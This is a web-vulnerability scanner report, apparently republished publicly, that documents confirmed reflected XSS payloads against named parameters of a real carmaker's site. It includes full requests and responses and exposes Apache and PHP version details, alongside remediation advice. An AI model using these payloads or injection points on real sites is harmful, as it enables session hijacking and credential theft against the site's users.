XSS, byd.com, GHDB DORK REPORT SUMMARY

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Private Reporting of Security Research is preferred for Online Service Providers



Loading

Netsparker - Scan Report Summary
TARGET URL
http://www.byd.com/company.php?index=2
SCAN DATE
6/19/2011 8:20:54 PM
REPORT DATE
6/20/2011 6:34:31 AM
SCAN DURATION
00:02:03

Total Requests

Average Speed

req/sec.
5
identified
3
confirmed
0
critical
0
informational

SCAN SETTINGS

Scan Settings
PROFILE
Previous Settings
ENABLED ENGINES
Static Tests, Find Backup Files, Blind Command Injection, Blind SQL Injection, Boolean SQL Injection, Command Injection, HTTP Header Injection, Local File Inclusion, Open Redirection, Remote Code Evaluation, Remote File Inclusion, SQL Injection, Cross-site Scripting
Authentication
Scheduled

VULNERABILITIES

Vulnerabilities
Netsparker - Web Application Security Scanner
IMPORTANT
60 %
LOW
40 %

VULNERABILITY SUMMARY

Vulnerability Summary
URL Parameter Method Vulnerability Confirmed
/company.php nsextt GET Cross-site Scripting Yes
Query Based QUERYSTRING Cross-site Scripting Yes
index GET Cross-site Scripting Yes
Apache Version Disclosure No
PHP Version Disclosure No
Cross-site Scripting

Cross-site Scripting

3 TOTAL
IMPORTANT
CONFIRMED
3
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /company.php

/company.php CONFIRMED

http://www.byd.com/company.php?index=2&nsextt=%22%3E%3CiMg%20src=N%20onerror=alert(9)%3E

Parameters

Parameter Type Value
index GET 2
nsextt GET "><iMg src=N onerror=alert(9)>

Request

GET /company.php?index=2&nsextt=%22%3E%3CiMg%20src=N%20onerror=netsparker(9)%3E HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.byd.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Mon, 20 Jun 2011 01:21:29 GMT
Server: Apache/2.0.54
X-Powered-By: PHP/4.4.9
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 1798
Content-Type: text/html


<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>BYD Auto,Build Your Dreams</title><link rel="stylesheet" type="text/css" href="css/default.css" /><script src="js/common.js" type="text/javascript"></script> <script type="text/javascript" src="js/jquery.js"></script><script type="text/javascript" src="js/png.js"></script></head><body bgcolor="#ffffff" style="margin-top:10px;"> <center> <div id="flashdiv" style="height:660px;"> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" width="999px" height="100%" id="index" align="top"> <param name="allowScriptAccess" value="sameDomain" /> <param name="allowFullScreen" value="false" /> <param name="movie" value="company.swf?index=2&nsextt=\"><iMg src=N onerror=netsparker(9)>&" /><param name="quality" value="high" /> <param name="bgcolor" value="#9CB6D7" /> <param name="wmode" value="transparent" /> <embed src="company.swf?index=2&nsextt=\"><iMg src=N onerror=netsparker(9)>&" quality="high" bgcolor="#ffffff" width="999px" height="100%" name="index" align="middle" allowScriptAccess="sameDomain" allowFullScreen="false" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" /> </object> </div> </center> <!-- start footer --><script language="javascript">$(document).ready(function(){ $.each($.browser,function(i,val){ if(i=="msie"&&$.browser.version.substr(0,1)==6){ DD_belatedPNG.fix('img'); } }); $('.socialMediaPanel a').each(function(index,item){ $(this).hover(function(e){ $('img',this).animate({top:'-10'},150); },function(){ $('img',this).animate({top:'0'},150); }); }); });</script><div id="footer"> <div id="footerdiv"> <div class="sitemap"> <ul> <li><a href="showroom.php"><strong>Showroom</strong></a> <ul> <li><a href="showroom.php?car=e6">e6</a></li> <li><a href="http://f0.byd.com">F0</a> &nbsp;<a href="showroom.php?car=f3">F3</a>&nbsp; <a href="showroom.php?car=f3r">F3-R</a> &nbsp;<a href="showroom.php?car=f3dm">F3DM</a>&nbsp; <a href="showroom.php?car=f6">F6</a></li> <li><a href="showroom.php?car=g3">G3</a></li> <li><a class="tinynew" href="showroom.php?car=l3">L3</a></li><li><a class="tinynew" href="showroom.php?car=m6">M6</a></li> <li><a class="tinynew" href="showroom.php?car=s6">S6</a> &nbsp;<a href="showroom.php?car=f8">S8</a></li> </ul> </li> </ul> <ul> <li><a href="company.php"><strong>Company</strong></a> <ul> <li><a href="company.php?index=0">Profile</a></li> <li><a href="company.php?index=1">History</a></li> <li><a href="company.php?index=2">Corporate Honors</a></li> <li><a href="company.php?index=3">Corporate Culture</a></li> <li><a href="company.php?index=4">Social Responsibilities</a></li> </ul> </li> </ul> <ul> <li><a href="highlight.php"><strong>Highlights</strong></a> <ul> <li><a href="highlight.php?index=0">BYD Engine</a></li> <li><a href="highlight.php?index=1">Dual Mode</a></li> <li><a href="highlight.php?index=2">ET-Power</a></li> </ul> </li> </ul> <ul> <li><a href="service.php"><strong>Service</strong></a> <ul> <li><a href="service.php">Video Download</a></li> <li><a href="service.php">Media Contact</a></li> <li><a href="service.php">Sales information</a></li> <li><a href="service.php">Service Information</a></li> </ul> </li> </ul> </div> <div class="socialMediaPanel"> <ul> <li> <a href="http://youtube.com/bydauto" title="BYD Youtube Channel"><img id="sdf" src="_images/youtube.png"></a></li> <li> <a href="http://facebook.com/bydauto" title="BYD Facebook Page"><img src="_images/facebook.png"></a></li> <li><a href="http://twitter.com/byd_news" title="Follow Us in Twitter"><img src="_images/twitter.png"></a></li></ul> </div> </div> <div class="line"></div> <div class="supportfooter"> <p class="copyright cl-right">&copy; 2003-2010 BYD AUTO.All rights reserved. </p> </div></div><script language=javascript>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script language=javascript>var pageTracker = _gat._getTracker("UA-5476105-1");pageTracker._trackPageview();</script><!-- end footer --> </body></html>
- /company.php

/company.php CONFIRMED

http://www.byd.com/company.php?"><object/onerror=alert(9)>

Parameters

Parameter Type Value
index GET 2
Query Based QUERYSTRING "><object/onerror=alert(9)>

Request

GET /company.php?"><object/onerror=netsparker(9)> HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.byd.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Mon, 20 Jun 2011 01:22:43 GMT
Server: Apache/2.0.54
X-Powered-By: PHP/4.4.9
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 1785
Content-Type: text/html


<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>BYD Auto,Build Your Dreams</title><link rel="stylesheet" type="text/css" href="css/default.css" /><script src="js/common.js" type="text/javascript"></script> <script type="text/javascript" src="js/jquery.js"></script><script type="text/javascript" src="js/png.js"></script></head><body bgcolor="#ffffff" style="margin-top:10px;"> <center> <div id="flashdiv" style="height:660px;"> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" width="999px" height="100%" id="index" align="top"> <param name="allowScriptAccess" value="sameDomain" /> <param name="allowFullScreen" value="false" /> <param name="movie" value="company.swf?"><object/onerror=netsparker(9)>&" /><param name="quality" value="high" /> <param name="bgcolor" value="#9CB6D7" /> <param name="wmode" value="transparent" /> <embed src="company.swf?"><object/onerror=netsparker(9)>&" quality="high" bgcolor="#ffffff" width="999px" height="100%" name="index" align="middle" allowScriptAccess="sameDomain" allowFullScreen="false" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" /> </object> </div> </center> <!-- start footer --><script language="javascript">$(document).ready(function(){ $.each($.browser,function(i,val){ if(i=="msie"&&$.browser.version.substr(0,1)==6){ DD_belatedPNG.fix('img'); } }); $('.socialMediaPanel a').each(function(index,item){ $(this).hover(function(e){ $('img',this).animate({top:'-10'},150); },function(){ $('img',this).animate({top:'0'},150); }); }); });</script><div id="footer"> <div id="footerdiv"> <div class="sitemap"> <ul> <li><a href="showroom.php"><strong>Showroom</strong></a> <ul> <li><a href="showroom.php?car=e6">e6</a></li> <li><a href="http://f0.byd.com">F0</a> &nbsp;<a href="showroom.php?car=f3">F3</a>&nbsp; <a href="showroom.php?car=f3r">F3-R</a> &nbsp;<a href="showroom.php?car=f3dm">F3DM</a>&nbsp; <a href="showroom.php?car=f6">F6</a></li> <li><a href="showroom.php?car=g3">G3</a></li> <li><a class="tinynew" href="showroom.php?car=l3">L3</a></li><li><a class="tinynew" href="showroom.php?car=m6">M6</a></li> <li><a class="tinynew" href="showroom.php?car=s6">S6</a> &nbsp;<a href="showroom.php?car=f8">S8</a></li> </ul> </li> </ul> <ul> <li><a href="company.php"><strong>Company</strong></a> <ul> <li><a href="company.php?index=0">Profile</a></li> <li><a href="company.php?index=1">History</a></li> <li><a href="company.php?index=2">Corporate Honors</a></li> <li><a href="company.php?index=3">Corporate Culture</a></li> <li><a href="company.php?index=4">Social Responsibilities</a></li> </ul> </li> </ul> <ul> <li><a href="highlight.php"><strong>Highlights</strong></a> <ul> <li><a href="highlight.php?index=0">BYD Engine</a></li> <li><a href="highlight.php?index=1">Dual Mode</a></li> <li><a href="highlight.php?index=2">ET-Power</a></li> </ul> </li> </ul> <ul> <li><a href="service.php"><strong>Service</strong></a> <ul> <li><a href="service.php">Video Download</a></li> <li><a href="service.php">Media Contact</a></li> <li><a href="service.php">Sales information</a></li> <li><a href="service.php">Service Information</a></li> </ul> </li> </ul> </div> <div class="socialMediaPanel"> <ul> <li> <a href="http://youtube.com/bydauto" title="BYD Youtube Channel"><img id="sdf" src="_images/youtube.png"></a></li> <li> <a href="http://facebook.com/bydauto" title="BYD Facebook Page"><img src="_images/facebook.png"></a></li> <li><a href="http://twitter.com/byd_news" title="Follow Us in Twitter"><img src="_images/twitter.png"></a></li></ul> </div> </div> <div class="line"></div> <div class="supportfooter"> <p class="copyright cl-right">&copy; 2003-2010 BYD AUTO.All rights reserved. </p> </div></div><script language=javascript>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script language=javascript>var pageTracker = _gat._getTracker("UA-5476105-1");pageTracker._trackPageview();</script><!-- end footer --> </body></html>
- /company.php

/company.php CONFIRMED

http://www.byd.com/company.php?index=%22%3E%3CiMg%20src=N%20onerror=alert(9)%3E

Parameters

Parameter Type Value
index GET "><iMg src=N onerror=alert(9)>

Request

GET /company.php?index=%22%3E%3CiMg%20src=N%20onerror=netsparker(9)%3E HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.byd.com
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Mon, 20 Jun 2011 01:22:58 GMT
Server: Apache/2.0.54
X-Powered-By: PHP/4.4.9
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 1791
Content-Type: text/html


<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>BYD Auto,Build Your Dreams</title><link rel="stylesheet" type="text/css" href="css/default.css" /><script src="js/common.js" type="text/javascript"></script> <script type="text/javascript" src="js/jquery.js"></script><script type="text/javascript" src="js/png.js"></script></head><body bgcolor="#ffffff" style="margin-top:10px;"> <center> <div id="flashdiv" style="height:660px;"> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" width="999px" height="100%" id="index" align="top"> <param name="allowScriptAccess" value="sameDomain" /> <param name="allowFullScreen" value="false" /> <param name="movie" value="company.swf?index=\"><iMg src=N onerror=netsparker(9)>&" /><param name="quality" value="high" /> <param name="bgcolor" value="#9CB6D7" /> <param name="wmode" value="transparent" /> <embed src="company.swf?index=\"><iMg src=N onerror=netsparker(9)>&" quality="high" bgcolor="#ffffff" width="999px" height="100%" name="index" align="middle" allowScriptAccess="sameDomain" allowFullScreen="false" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" /> </object> </div> </center> <!-- start footer --><script language="javascript">$(document).ready(function(){ $.each($.browser,function(i,val){ if(i=="msie"&&$.browser.version.substr(0,1)==6){ DD_belatedPNG.fix('img'); } }); $('.socialMediaPanel a').each(function(index,item){ $(this).hover(function(e){ $('img',this).animate({top:'-10'},150); },function(){ $('img',this).animate({top:'0'},150); }); }); });</script><div id="footer"> <div id="footerdiv"> <div class="sitemap"> <ul> <li><a href="showroom.php"><strong>Showroom</strong></a> <ul> <li><a href="showroom.php?car=e6">e6</a></li> <li><a href="http://f0.byd.com">F0</a> &nbsp;<a href="showroom.php?car=f3">F3</a>&nbsp; <a href="showroom.php?car=f3r">F3-R</a> &nbsp;<a href="showroom.php?car=f3dm">F3DM</a>&nbsp; <a href="showroom.php?car=f6">F6</a></li> <li><a href="showroom.php?car=g3">G3</a></li> <li><a class="tinynew" href="showroom.php?car=l3">L3</a></li><li><a class="tinynew" href="showroom.php?car=m6">M6</a></li> <li><a class="tinynew" href="showroom.php?car=s6">S6</a> &nbsp;<a href="showroom.php?car=f8">S8</a></li> </ul> </li> </ul> <ul> <li><a href="company.php"><strong>Company</strong></a> <ul> <li><a href="company.php?index=0">Profile</a></li> <li><a href="company.php?index=1">History</a></li> <li><a href="company.php?index=2">Corporate Honors</a></li> <li><a href="company.php?index=3">Corporate Culture</a></li> <li><a href="company.php?index=4">Social Responsibilities</a></li> </ul> </li> </ul> <ul> <li><a href="highlight.php"><strong>Highlights</strong></a> <ul> <li><a href="highlight.php?index=0">BYD Engine</a></li> <li><a href="highlight.php?index=1">Dual Mode</a></li> <li><a href="highlight.php?index=2">ET-Power</a></li> </ul> </li> </ul> <ul> <li><a href="service.php"><strong>Service</strong></a> <ul> <li><a href="service.php">Video Download</a></li> <li><a href="service.php">Media Contact</a></li> <li><a href="service.php">Sales information</a></li> <li><a href="service.php">Service Information</a></li> </ul> </li> </ul> </div> <div class="socialMediaPanel"> <ul> <li> <a href="http://youtube.com/bydauto" title="BYD Youtube Channel"><img id="sdf" src="_images/youtube.png"></a></li> <li> <a href="http://facebook.com/bydauto" title="BYD Facebook Page"><img src="_images/facebook.png"></a></li> <li><a href="http://twitter.com/byd_news" title="Follow Us in Twitter"><img src="_images/twitter.png"></a></li></ul> </div> </div> <div class="line"></div> <div class="supportfooter"> <p class="copyright cl-right">&copy; 2003-2010 BYD AUTO.All rights reserved. </p> </div></div><script language=javascript>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script language=javascript>var pageTracker = _gat._getTracker("UA-5476105-1");pageTracker._trackPageview();</script><!-- end footer --> </body></html>
Apache Version Disclosure

Apache Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is an Apache server. This was disclosed through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.

Impact

An attacker can search for specific security vulnerabilities for the version of Apache identified within the SERVER header.

Remedy

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /company.php

/company.php

http://www.byd.com/company.php?index=2

Extracted Version

2.0.54

Request

GET /company.php?index=2 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.byd.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 20 Jun 2011 01:20:54 GMT
Server: Apache/2.0.54
X-Powered-By: PHP/4.4.9
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 1768
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html


<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>BYD Auto,Build Your Dreams</title><link rel="stylesheet" type="text/css" href="css/default.css" /><script src="js/common.js" type="text/javascript"></script> <script type="text/javascript" src="js/jquery.js"></script><script type="text/javascript" src="js/png.js"></script></head><body bgcolor="#ffffff" style="margin-top:10px;"> <center> <div id="flashdiv" style="height:660px;"> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" width="999px" height="100%" id="index" align="top"> <param name="allowScriptAccess" value="sameDomain" /> <param name="allowFullScreen" value="false" /> <param name="movie" value="company.swf?index=2&" /><param name="quality" value="high" /> <param name="bgcolor" value="#9CB6D7" /> <param name="wmode" value="transparent" /> <embed src="company.swf?index=2&" quality="high" bgcolor="#ffffff" width="999px" height="100%" name="index" align="middle" allowScriptAccess="sameDomain" allowFullScreen="false" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" /> </object> </div> </center> <!-- start footer --><script language="javascript">$(document).ready(function(){ $.each($.browser,function(i,val){ if(i=="msie"&&$.browser.version.substr(0,1)==6){ DD_belatedPNG.fix('img'); } }); $('.socialMediaPanel a').each(function(index,item){ $(this).hover(function(e){ $('img',this).animate({top:'-10'},150); },function(){ $('img',this).animate({top:'0'},150); }); }); });</script><div id="footer"> <div id="footerdiv"> <div class="sitemap"> <ul> <li><a href="showroom.php"><strong>Showroom</strong></a> <ul> <li><a href="showroom.php?car=e6">e6</a></li> <li><a href="http://f0.byd.com">F0</a> &nbsp;<a href="showroom.php?car=f3">F3</a>&nbsp; <a href="showroom.php?car=f3r">F3-R</a> &nbsp;<a href="showroom.php?car=f3dm">F3DM</a>&nbsp; <a href="showroom.php?car=f6">F6</a></li> <li><a href="showroom.php?car=g3">G3</a></li> <li><a class="tinynew" href="showroom.php?car=l3">L3</a></li><li><a class="tinynew" href="showroom.php?car=m6">M6</a></li> <li><a class="tinynew" href="showroom.php?car=s6">S6</a> &nbsp;<a href="showroom.php?car=f8">S8</a></li> </ul> </li> </ul> <ul> <li><a href="company.php"><strong>Company</strong></a> <ul> <li><a href="company.php?index=0">Profile</a></li> <li><a href="company.php?index=1">History</a></li> <li><a href="company.php?index=2">Corporate Honors</a></li> <li><a href="company.php?index=3">Corporate Culture</a></li> <li><a href="company.php?index=4">Social Responsibilities</a></li> </ul> </li> </ul> <ul> <li><a href="highlight.php"><strong>Highlights</strong></a> <ul> <li><a href="highlight.php?index=0">BYD Engine</a></li> <li><a href="highlight.php?index=1">Dual Mode</a></li> <li><a href="highlight.php?index=2">ET-Power</a></li> </ul> </li> </ul> <ul> <li><a href="service.php"><strong>Service</strong></a> <ul> <li><a href="service.php">Video Download</a></li> <li><a href="service.php">Media Contact</a></li> <li><a href="service.php">Sales information</a></li> <li><a href="service.php">Service Information</a></li> </ul> </li> </ul> </div> <div class="socialMediaPanel"> <ul> <li> <a href="http://youtube.com/bydauto" title="BYD Youtube Channel"><img id="sdf" src="_images/youtube.png"></a></li> <li> <a href="http://facebook.com/bydauto" title="BYD Facebook Page"><img src="_images/facebook.png"></a></li> <li><a href="http://twitter.com/byd_news" title="Follow Us in Twitter"><img src="_images/twitter.png"></a></li></ul> </div> </div> <div class="line"></div> <div class="supportfooter"> <p class="copyright cl-right">&copy; 2003-2010 BYD AUTO.All rights reserved. </p> </div></div><script language=javascript>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script language=javascript>var pageTracker = _gat._getTracker("UA-5476105-1");pageTracker._trackPageview();</script><!-- end footer --> </body></html>
PHP Version Disclosure

PHP Version Disclosure

1 TOTAL
LOW
Netsparker identified that the target web server is disclosing the PHP version in use through the HTTP response. This information can help an attacker to gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of PHP.

Impact

An attacker can look for specific security vulnerabilities for the version identified. Also the attacker can use this information in conjunction with the other vulnerabilities in the application or the web server.
- /company.php

/company.php

http://www.byd.com/company.php?index=2

Extracted Version

PHP/4.4.9

Request

GET /company.php?index=2 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.byd.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Mon, 20 Jun 2011 01:20:54 GMT
Server: Apache/2.0.54
X-Powered-By: PHP/4.4.9
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 1768
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html


<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>BYD Auto,Build Your Dreams</title><link rel="stylesheet" type="text/css" href="css/default.css" /><script src="js/common.js" type="text/javascript"></script> <script type="text/javascript" src="js/jquery.js"></script><script type="text/javascript" src="js/png.js"></script></head><body bgcolor="#ffffff" style="margin-top:10px;"> <center> <div id="flashdiv" style="height:660px;"> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" width="999px" height="100%" id="index" align="top"> <param name="allowScriptAccess" value="sameDomain" /> <param name="allowFullScreen" value="false" /> <param name="movie" value="company.swf?index=2&" /><param name="quality" value="high" /> <param name="bgcolor" value="#9CB6D7" /> <param name="wmode" value="transparent" /> <embed src="company.swf?index=2&" quality="high" bgcolor="#ffffff" width="999px" height="100%" name="index" align="middle" allowScriptAccess="sameDomain" allowFullScreen="false" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" /> </object> </div> </center> <!-- start footer --><script language="javascript">$(document).ready(function(){ $.each($.browser,function(i,val){ if(i=="msie"&&$.browser.version.substr(0,1)==6){ DD_belatedPNG.fix('img'); } }); $('.socialMediaPanel a').each(function(index,item){ $(this).hover(function(e){ $('img',this).animate({top:'-10'},150); },function(){ $('img',this).animate({top:'0'},150); }); }); });</script><div id="footer"> <div id="footerdiv"> <div class="sitemap"> <ul> <li><a href="showroom.php"><strong>Showroom</strong></a> <ul> <li><a href="showroom.php?car=e6">e6</a></li> <li><a href="http://f0.byd.com">F0</a> &nbsp;<a href="showroom.php?car=f3">F3</a>&nbsp; <a href="showroom.php?car=f3r">F3-R</a> &nbsp;<a href="showroom.php?car=f3dm">F3DM</a>&nbsp; <a href="showroom.php?car=f6">F6</a></li> <li><a href="showroom.php?car=g3">G3</a></li> <li><a class="tinynew" href="showroom.php?car=l3">L3</a></li><li><a class="tinynew" href="showroom.php?car=m6">M6</a></li> <li><a class="tinynew" href="showroom.php?car=s6">S6</a> &nbsp;<a href="showroom.php?car=f8">S8</a></li> </ul> </li> </ul> <ul> <li><a href="company.php"><strong>Company</strong></a> <ul> <li><a href="company.php?index=0">Profile</a></li> <li><a href="company.php?index=1">History</a></li> <li><a href="company.php?index=2">Corporate Honors</a></li> <li><a href="company.php?index=3">Corporate Culture</a></li> <li><a href="company.php?index=4">Social Responsibilities</a></li> </ul> </li> </ul> <ul> <li><a href="highlight.php"><strong>Highlights</strong></a> <ul> <li><a href="highlight.php?index=0">BYD Engine</a></li> <li><a href="highlight.php?index=1">Dual Mode</a></li> <li><a href="highlight.php?index=2">ET-Power</a></li> </ul> </li> </ul> <ul> <li><a href="service.php"><strong>Service</strong></a> <ul> <li><a href="service.php">Video Download</a></li> <li><a href="service.php">Media Contact</a></li> <li><a href="service.php">Sales information</a></li> <li><a href="service.php">Service Information</a></li> </ul> </li> </ul> </div> <div class="socialMediaPanel"> <ul> <li> <a href="http://youtube.com/bydauto" title="BYD Youtube Channel"><img id="sdf" src="_images/youtube.png"></a></li> <li> <a href="http://facebook.com/bydauto" title="BYD Facebook Page"><img src="_images/facebook.png"></a></li> <li><a href="http://twitter.com/byd_news" title="Follow Us in Twitter"><img src="_images/twitter.png"></a></li></ul> </div> </div> <div class="line"></div> <div class="supportfooter"> <p class="copyright cl-right">&copy; 2003-2010 BYD AUTO.All rights reserved. </p> </div></div><script language=javascript>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script language=javascript>var pageTracker = _gat._getTracker("UA-5476105-1");pageTracker._trackPageview();</script><!-- end footer --> </body></html>